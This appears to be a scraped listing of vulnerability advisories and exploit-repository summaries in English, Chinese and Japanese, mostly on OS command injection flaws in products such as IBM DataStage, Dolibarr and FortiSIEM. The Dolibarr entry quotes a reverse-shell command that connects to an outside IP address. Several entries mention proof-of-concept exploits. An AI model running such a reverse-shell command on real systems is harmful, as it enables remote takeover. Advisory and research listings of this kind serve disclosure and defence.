CVE-2026-81545

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-23500

CVE-2026-23500：Dolibarr 中通过 MAINODTASPDF 配置导致的 OS 命令注入（RCE） 概述 字段| 详情 ---|--- CVE 编号| CVE-2026-23500 严重性| 严重 安全公告| GHSA-w5j3-8fcr-h87w 发现者| Lukasz Rybak 受影响产品 Dolibarr/dolibarr （版本：）被 Web 应用程序或 shell 转义，请将反向 shell 命令编码为 Base64： root@kitploit: Command: bash -c 'bash -i & /dev/tcp/172.26.0.1/4445...

cve-2017-5123

CVE-2017-5123 このリポジトリには、CVE-2017-5123 のデモンストレーション、ICMPコマンド&コントロールバックドア、およびCWE-78 （OSコマンドインジェクション）の脆弱なWebアプリケーションが含まれています。 CSC 4308 - チャレンジ3 の一部です。 前提条件 Linux Kernel : 4.13 から（4.13.7 を除く）まで Node.js : 10.x npm : 6.x 概要 このプロジェクトでは、3つの異なるセキュリティ研究コンポーネントを紹介しています： 1. CVE-2017-5123 カーネルエクスプロイト...

Ashwesker-CVE-2025-64155

🔒 CVE-2025-64155: 重大なFortiSIEMの脆弱性 📌 概要 CVE-2025-64155 は、セキュリティ情報およびイベント管理（SIEM）プラットフォームとして広く利用されているFortinet FortiSIEM における重大なセキュリティ脆弱性 です。2026年1月13日 に公開され、認証されていないリモート攻撃者 が任意のシステムコマンドを実行できるようになります。 ⚠️ 脆弱性の詳細 種別: OSコマンドインジェクション CWE-78 影響: ルート権限でのリモートコード実行 RCE 攻撃経路: ネットワーク TCPポート7900 必要な権限: なし...

CVE-2026-81548 DataStage on Cloud Pak for Data has several vulnerabilities

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-81548

IBM DataStage on Cloud Pak for Data version 5.4.0.0 is vulnerable to OS command injection due to the improper neutralization of special elements used in an OS command. This flaw allows a remote authenticated attacker to execute arbitrary commands . The impact includes potential high severity for ...

EUVD-2026-86016

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-81545

IBM DataStage on Cloud Pak for Data version 5.4.0.0 is vulnerable to an OS command injection vulnerability (CWE-78) due to the improper neutralization of special elements used in an OS command. This flaw could allow a remote authenticated attacker to execute arbitrary commands on the system. To r...

CVE-2026-81545 DataStage on Cloud Pak for Data has several vulnerabilities

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-81539 DataStage on Cloud Pak for Data has several vulnerabilities

IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

CVE-2026-81539

IBM DataStage on Cloud Pak for Data 5.4.0.0 is vulnerable to remote code execution. The flaw stems from the improper neutralization of special elements used in an OS command, which could allow a remote authenticated attacker to execute arbitrary code. No specific exploit details or remediation st...

CVE-2022-34753-EXPLOIT

CVE-2022-34753 - SpaceLogic C-Bus Home Controller における OS コマンドインジェクション CVE-2022-34753 は、CWE-78 に分類される重大なセキュリティ脆弱性であり、「OS コマンドで使用される特殊要素の不適切な無効化」（一般に「OS コマンドインジェクション」と呼ばれる）を示しています。この脆弱性は、影響を受けるコマンドが侵害された場合、リモートからの root 権限での悪用につながる可能性があるため、重大なリスクをもたらします。 影響を受ける製品 この脆弱性は以下の製品に影響を与えます： root@kitploit:...

CVE-2024-3400

CVE-2024-3400: GlobalProtect Gateway における OS コマンドインジェクションの脆弱性 深刻度: CRITICAL 10/10 ⚠️...

CVE-2022-36779

CVE-2022-36779 Proscend 産業用セルラールーターにおける認証不要のOSコマンドインジェクションのエクスプロイトコード。 https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301 https://www.proscend.com/en/category/index.html...

CVE-2026-61819

A flaw was found in pgpartman. A database user with partmanuser privileges can exploit a SQL injection vulnerability by crafting a malicious parent-table name. When the extension is configured to use pgjobmon, this crafted input is improperly processed during an exception, allowing the injection...

cve-2019-14514

CVEID : CVE-2019-14514 影響を受ける製品とバージョン : Microvirt MEmu（7.0.2より前のすべてのバージョン） 問題タイプ : CWE-78: OSコマンドに使用される特殊要素の不適切な無害化（'OSコマンドインジェクション'） 概要 MEmuはWindows向けのAndroidエミュレータです。テスト中に、root権限でコード実行を得るために悪用される可能性のある開放されたTCPポートを発見しました。 Microvirt...

CVE-2023-31702

CVE-2023-31702 — eScan Management Console SQL インジェクション（認証済み） 概要 CVE-2023-31702 は、MicroWorld Technologies eScan Management Console バージョン 14.0.1400.2281 で発見された認証済み SQL インジェクションの脆弱性です。この脆弱性は GetUserCurrentPwd エンドポイントに存在し、UsrId パラメータが適切なサニタイズやパラメータ化なしに SQL クエリに直接渡されます。認証済みの攻撃者は、この欠陥を悪用して時間ベースのプラインド S...

CVE-2019-25065-exploit

CVE-2019-25065 - POC これはCVE-2019-25065のPOCです - OpenNetAdmin v18.1.1のOSコマンドインジェクション エクスプロイトはbashで書かれており、linux環境をサポートしています。 kali linux 2024.4、およびUbuntu 22.04.5 LTSでテスト済みです。 依存関係: gridsite-clients debianパッケージ...

CVE-2025-26055

CVE-2025-26055 CVE 説明 著者 : Rohan Deshpande OSコマンドインジェクション 概要 OSコマンドインジェクションは、脆弱なアプリケーションを介して攻撃者がホストOS上で任意のコマンドを実行できるようにするセキュリティ脆弱性です。これにより、不正アクセス、データ漏洩、システムの侵害につながる可能性があります。 影響 OSコマンドインジェクションの影響には、システムリソースへの不正アクセス、データ窃取、システムの侵害、影響を受けるサーバーの完全な制御権限の取得などが含まれ、深刻なセキュリティ侵害や運用の中断を引き起こす可能性があります。 影響を受ける U...

cve-2015-2208

CVE-2015-2208 の環境をシミュレートするための Dockerfile phpMoAdmin 1.1.2 の moadmin.php 内の saveObject 関数は、リモートの攻撃者が object パラメータ内のシェルメタ文字を介して任意のコマンドを実行することを許可します。 発見者: @u0x Pichaya Morimoto, Xelenonz, pe3z, Pistachio 参考文献: http://seclists.org/fulldisclosure/2015/Mar/19 http://www.exploit-db.com/exploits/36251/...